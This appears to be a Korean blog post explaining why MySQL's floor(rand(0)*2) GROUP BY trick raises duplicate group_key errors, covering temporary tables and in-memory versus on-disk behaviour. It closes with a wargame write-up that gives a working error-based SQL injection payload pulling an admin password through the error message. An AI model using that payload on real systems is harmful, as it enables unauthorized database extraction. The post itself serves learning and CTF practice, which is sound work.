정보 · 테크 mysql 기반의 에러 기반 SQL Injection 을 해보 신 여러분 들은
한번 쯤은 'group_key' 의 충돌 에러가 왜 일어나는지 의문을 가져 보셨을 겁니다.
그런데 검색을 해보아도, Stack Overflow 나 bugs.mysql.com 에 들어가보아도
이 버그의 명확한 원인은 나와있지 않습니다.
저는 오늘 아마도 국내에서는 최초로, 이 버그의 원인을 상세하게 공개해보고자 합니다.
(1) Temporary Table
Mysql 에서는 쿼리를 정렬할때
- 인덱스를 이용한 정렬
- 드라이빙 테이블만 정렬
- 임시테이블을 이용한 정렬
의 세 가지 방법을 사용합니다.
인덱스를 사용한 방법이 가장 빠르며 아래로 갈수록 느린 방법입니다.
그 중 임시테이블을 이용한 정렬은 성능상 좋지 않기 때문에 다른 방법이 불가능 할 때 시도하는 최후의 방법입니다.
https://dev.mysql.com/doc/refman/5.6/en/internal-temporary-tables.html
임시테이블이 사용되는 예시는 위 링크를 참조하시면 상세하게 나와있습니다만
위 링크에 나와있는 항목이 전부는 아니며 다른 대체할 수단이 없는 경우에는 임시테이블을 사용합니다.
예를 들면 group by 와 함께 집계함수를 사용할 경우!
임시 테이블이 사용 됩니다.
어떤 쿼리에서 임시 테이블이 사용되는지를 알아보는 방법은 다음과 같습니다.
mysql> desc animal;
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| name | varchar(20) | YES | | NULL | |
| no | int(11) | YES | | NULL | |
| type | varchar(20) | YES | | NULL | |
+-------+-------------+------+-----+---------+-------+
mysql> select * from animal;
+-----------+------+------+
| name | no | type |
+-----------+------+------+
| 콩이 | 1 | dog |
| 나비 | 2 | cat |
| 초코 | 3 | dog |
| 코코 | 4 | dog |
| 루루 | 5 | cat |
+-----------+------+------+
5 rows in set (0.00 sec)
위와 같이 테이블이 구성되어 있을 때
mysql> select type, count(* ) from animal group by type;
+------+----------+
| type | count(* )|
+------+----------+
| cat | 2 |
| dog | 3 |
+------+----------+
2 rows in set (0.00 sec)
mysql> explain select type, count(* ) from animal group by type;
+----+-------------+--------+------------+------+---------------+------+---------+------+------+----------+---------------------------------+
| id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra |
+----+-------------+--------+------------+------+---------------+------+---------+------+------+----------+---------------------------------+
| 1 | SIMPLE | animal | NULL | ALL | NULL | NULL | NULL | NULL | 5 | 100.00 | Using temporary; Using filesort |
+----+-------------+--------+------------+------+---------------+------+---------+------+------+----------+---------------------------------+
1 row in set, 1 warning (0.00 sec)
위와 같이 explain 키워드는 select 문 앞에 붙여서 쿼리의 실행 정보를 표시하도록 할 수 있습니다.
이 때 Extra 칼럼을 보게 되면 Using temporary; Using filesort 라고 되어 있는데
Using temporary 가 바로 정렬 과정에서 임시 테이블을 사용하였다는 것을 의미합니다.
(2) 에러의 발생 원인
mysql> select floor(rand(0)*2)x, count(*) from (select 1 union select 2 union select 3)t group by x;
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
위의 쿼리는 group by 를 사용한 동시에 집계 함수를 사용했기 때문에 임시 테이블을 사용할 것으로 예상할 수 있습니다.
explain 문을 통해 해당 사실을 눈으로 확인해봅니다.
mysql> explain select floor(rand(0) * 2)x, count(* ) from (select 1 union select 2 union select 3)t group by x;
+----+--------------+--------------+------------+------+---------------+------+---------+------+------+----------+---------------------------------+
| id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra |
+----+--------------+--------------+------------+------+---------------+------+---------+------+------+----------+---------------------------------+
| 1 | PRIMARY | <derived2> | NULL | ALL | NULL | NULL | NULL | NULL | 3 | 100.00 | Using temporary; Using filesort |
| 2 | DERIVED | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | No tables used |
| 3 | UNION | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | No tables used |
| 4 | UNION | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | No tables used |
| NULL | UNION RESULT | <union2,3,4> | NULL | ALL | NULL | NULL | NULL | NULL | NULL | NULL | Using temporary |
+----+--------------+--------------+------------+------+---------------+------+---------+------+------+----------+---------------------------------+
5 rows in set, 1 warning (0.00 sec)
그렇다면 왜 에러가 발생하는지
임시 테이블에서 데이터가 처리 되는 과정을 단계 별로 알아보겠습니다.
먼저 설명의 편의를 위해
floor(rand(0)*2) 의 결과를 충분히 뽑아줍니다.
mysql> select floor(rand(0)*2) from (select 1 union select 2 union select 3 union select 4 union select 5 union select 6)t;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
+------------------+
6 rows in set (0.00 sec)
위 결과를 0 - 1 - 1 - 0 - 1 - 1 와 같이 간략하게 표기하겠습니다.
select floor(rand(0)*2)x, count(* ) from (select 1 union select 2 union select 3)t group by x;
위 쿼리에서 derived table 은 (select 1 union select 2 union select 3) 로 row 가 3개 입니다.
이 쿼리를 처리하는 과정에서 임시 테이블이 생성되고
이후 각각의 row 에 대응되는 floor(rand(0)*2) 의 값을 뽑아 임시 테이블의 프라이머리 키 (group_key) 로 사용합니다.
먼저 첫번째 row 에 대응하는 floor(rand(0)*2)x 의 값을 한 번 평가 (evaluate) 합니다.
0 - 1 - 1 - 0 - 1 - 1
첫 번째 평가 값은 0 입니다.
0 은 임시 테이블에 존재하지 않기 때문에 insert 해주어야 합니다.
그런데 이 과정에는 개발자의 실수가 존재합니다.
처음 뽑았던 평가값을 그대로 사용해야 하는데
floor(rand(0)*2)x 를 한 번 더 평가한 뒤 insert 가 이루어지는 것 입니다.
0 - 1 - 1 - 0 - 1 - 1
그에 따라 실제로 테이블에 insert 되는 값은 1 입니다.
+-----------+----------+
| group_key | count(*) |
+-----------+----------+
| 1 | 1 |
+-----------+----------+
이제 두번째 row 에 대한 처리를 위해 floor(rand(0)*2) 를 평가 합니다.
0 - 1 - 1 - 0 - 1 - 1
평가 값은 1 이고, 1 은 테이블에 이미 존재하기 때문에 count(*) 만을 증가시킵니다.
+-----------+----------+
| group_key | count(* )|
+-----------+----------+
| 1 | 2 |
+-----------+----------+
마지막으로 세번째 row 에 대한 처리를 위해 floor(rand(0)*2) 를 평가합니다.
0 - 1 - 1 - 0 - 1 - 1
평가 값은 0 이고 0 은 테이블에 존재하지 않기 때문에 insert 를 시도 합니다.
0 - 1 - 1 - 0 - 1 - 1
이 때 이전에 언급한 이유로 한번 더 평가가 이루어져 실제 insert 되는 값은 1 입니다.
그런데 1 은 이미 테이블에 존재하고, group_key 는 프라이머리 키이기 때문에
Duplicate entry 에러를 발생시킵니다.
예시를 한가지만 더 들어보겠습니다.
이번에는 rand 의 seed 를 2 로 준 상황으로 정상적인 결과가 출력됩니다.
mysql> select floor(rand(2)*2)x, count(*) from (select 1 union select 2 union select 3)t group by x;
+---+----------+
| x | count(*) |
+---+----------+
| 0 | 2 |
| 1 | 1 |
+---+----------+
위 select 문이 에러를 출력하지 않는 이유를 알아보겠습니다.
mysql> select floor(rand(2)*2) from (select 1 union select 2 union select 3 union select 4 union select 5 union select 6)t;
+------------------+
| floor(rand(2)*2) |
+------------------+
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
+------------------+
첫번째 row 에 대응하는 floor(rand(2)*2) 의 평가값으로 1 이 산출되어 insert 를 시도합니다.
그 과정에서 0 이 insert 됩니다.
+-----------+----------+
| group_key | count(* )|
+-----------+----------+
| 0 | 1 |
+-----------+----------+
두번째 row 에 대응하는 floor(rand(2)*2) 의 평가값으로 1 이 산출되어 insert 가 이루어지며
실제로도 1 이 insert 됩니다.
+-----------+----------+
| group_key | count(*) |
+-----------+----------+
| 0 | 1 |
| 1 | 1 |
+-----------+----------+
세번째 row 에 대응하는 floor(rand(2)*2) 의 평가값은 0 이며 이미 테이블에 존재하기 때문에 count(*) 의 값만 증가합니다.
+-----------+----------+
| group_key | count(* )|
+-----------+----------+
| 0 | 2 |
| 1 | 1 |
+-----------+----------+
그 결과로 오류 없이 위의 결과를 출력하는 것 입니다.
(3) in-memory temporary table 과 on-disk temporary table
그런데 이 기법을 실제로 적용하려고 하다보면
때때로 되야 하는 것 처럼 보이는 상황에서도 되지 않는 경우가 있습니다.
보다 구체적으로
mysql> select floor(rand(0)*2)x from user4 group by x having min(0);
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql> select concat(floor(rand(0)*2),pw)x from user4 group by x having min(0);
Empty set (0.00 sec)
위의 결과에서 보이듯이 concat 을 하기 전까진 잘 뜨던 에러가
concat 이후에는 뜨지 않는 경우가 있습니다.
그 이유를 간략하게 언급하자면
group key 의 중복 현상은 "in-memory 임시 테이블"에서만 발생하고
"on-disk 임시 테이블"에서는 발생하지 않기 때문입니다.
https://dev.mysql.com/doc/refman/5.6/en/internal-temporary-tables.html
레퍼런스에도 나와있듯이 mysql 은 칼럼의 자료형이 Blob, Text 이거나
512 바이트를 넘어가는 경우 (e.g. varchar(1024))
MEMORY storage 엔진을 기반으로 한 in-memory 임시테이블을 사용 하는 것을 포기하고
MyISAM storage 엔진 기반의 on-disk 임시테이블을 사용하여 파일 시스템에 임시 테이블을 저장합니다.
mysql> desc test;
+-------+---------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+---------------+------+-----+---------+-------+
| id | varchar(1000) | YES | | NULL | |
| pw | varchar(1000) | YES | | NULL | |
+-------+---------------+------+-----+---------+-------+
2 rows in set (0.00 sec)
예를 들어 위와 같은 구조의 테이블에 대해
mysql> select concat(floor(rand(0)*2),(select pw from test limit 1))x from (select 1 union select 2 union select 3)t group by x having min(0);
Empty set (0.00 sec)
쿼리는 에러를 발생시키지 않습니다.
해당 쿼리의 앞 뒤로
임시 테이블의 전체 생성 수인 Created_tmp_tables 와
on-disk 임시 테이블의 생성된 개수인 Created_tmp_disk_tables 변수의 값을 비교해보면
Created_tmp_tables 는 3 이 증가하는 한편, Created_tmp_disk_tables 는 1 이 증가한다는 사실을 알 수 있습니다.
mysql> SHOW SESSION STATUS LIKE 'Created_tmp%';
+-------------------------+-------+
| Variable_name | Value |
+-------------------------+-------+
| Created_tmp_disk_tables | 6 |
| Created_tmp_files | 6 |
| Created_tmp_tables | 49 |
+-------------------------+-------+
3 rows in set (0.08 sec)
mysql> select concat(floor(rand(0)*2),(select pw from test limit 1))x from (select 1 union select 2 union select 3)t group by x having min(0);
Empty set (0.00 sec)
mysql> SHOW SESSION STATUS LIKE 'Created_tmp%';
+-------------------------+-------+
| Variable_name | Value |
+-------------------------+-------+
| Created_tmp_disk_tables | 7 |
| Created_tmp_files | 6 |
| Created_tmp_tables | 52 |
+-------------------------+-------+
3 rows in set (0.00 sec)
반면 아래 구조의 테이블에서는 에러가 발생합니다.
mysql> desc user;
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| id | varchar(20) | YES | | NULL | |
| pw | varchar(20) | YES | | NULL | |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.00 sec)
mysql> select concat(floor(rand(0)*2),(select pw from user limit 1))x from (select 1 union select 2 union select 3)t group by x having min(0);
ERROR 1062 (23000): Duplicate entry '1hi' for key '<group_key>'
이전에서 처럼 임시 테이블의 생성 수는 3 이 올라가지만
on-disk 임시 테이블의 생성 수는 올라가지 않는 것을 볼 수 있습니다.
mysql> SHOW SESSION STATUS LIKE 'Created_tmp%';
+-------------------------+-------+
| Variable_name | Value |
+-------------------------+-------+
| Created_tmp_disk_tables | 7 |
| Created_tmp_files | 6 |
| Created_tmp_tables | 52 |
+-------------------------+-------+
3 rows in set (0.00 sec)
mysql> select concat(floor(rand(0)*2),(select pw from user limit 1))x from (select 1 union select 2 union select 3)t group by x having min(0);
ERROR 1062 (23000): Duplicate entry '1hi' for key '<group_key>'
mysql> SHOW SESSION STATUS LIKE 'Created_tmp%';
+-------------------------+-------+
| Variable_name | Value |
+-------------------------+-------+
| Created_tmp_disk_tables | 7 |
| Created_tmp_files | 6 |
| Created_tmp_tables | 55 |
+-------------------------+-------+
3 rows in set (0.00 sec)
정확한 이유까지는 분석을 하지 않아 알 수 없지만
사용하는 엔진이 다른 것과 연관이 있는 것으로 추정되어
on-disk 임시테이블의 경우는 group_key 의 중복에러가 발생하지 않는 다는 사실을 알 수 있습니다.
이대로 글을 끝맺기엔 아쉬워서
마지막으로 한 가지만 더 예시를 들어보겠습니다.
los (los.rubiya.kr) 의 iron golem 문제는 에러 기반 인젝션 문제이지만
에러가 생각보다 쉽게 발생하지 않아
검색을 해보면 많은 분들이 에러 기반 블라인드로 풀이를 하셨습니다.
이 문제에서는 union 절 이전에서 @pw:=pw 와 같이 패스워드를 다른 변수에 저장한 뒤
union 절 이후에서 에러 기반 블라인드로 값을 얻어주어야 하는 문제인데
이상하게도 floor rand 방법을 사용할 경우 에러가 발생하지 않습니다.
그 이유는 아래 일련의 과정에서 보이듯
mysql 의 사용자 정의 변수가 longtext data type 을 가지기 때문입니다.
mysql> select @pw:=pw from user;
+-----------------+
| @pw:=pw |
+-----------------+
| hi |
| ffffffffffasdjf |
+-----------------+
2 rows in set (0.01 sec)
mysql> select @pw;
+-----------------+
| @pw |
+-----------------+
| ffffffffffasdjf |
+-----------------+
1 row in set (0.00 sec)
mysql> create temporary table bar select @pw;
Query OK, 1 row affected (0.01 sec)
Records: 1 Duplicates: 0 Warnings: 0
mysql> desc bar
-> ;
+-------+----------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+----------+------+-----+---------+-------+
| @pw | longtext | YES | | NULL | |
+-------+----------+------+-----+---------+-------+
1 row in set (0.00 sec)
이 때에는 아래와 같이 @pw 의 형을 char(35) 로 convert 해준다면
pw=' or id='admin' and @pw:=pw union select concat(floor(rand(0)*2),convert(@pw,char(35)))x from (select 1 union select 2 union select 3)t group by x having min(0)--
정상적으로 오류가 출력된다는 사실을 알 수 있습니다.
또한 굳이 convert 를 하지 않아도 mid 를 통해 이 문제를 해결 가능합니다.
mysql> create temporary table foo select mid("helloworld",1,7);
Query OK, 1 row affected (0.00 sec)
Records: 1 Duplicates: 0 Warnings: 0
mysql> desc foo;
+-----------------------+------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-----------------------+------------+------+-----+---------+-------+
| mid("helloworld",1,7) | varchar(7) | YES | | NULL | |
+-----------------------+------------+------+-----+---------+-------+
1 row in set (0.00 sec)
mid(문자열, n, m) 의 결과의 datatype 은 varchar(m 보다 작거나 같은 어떤 정수) 이기 때문입니다.
이상 긴 호흡의 글 따라와주셔서 감사합니다.
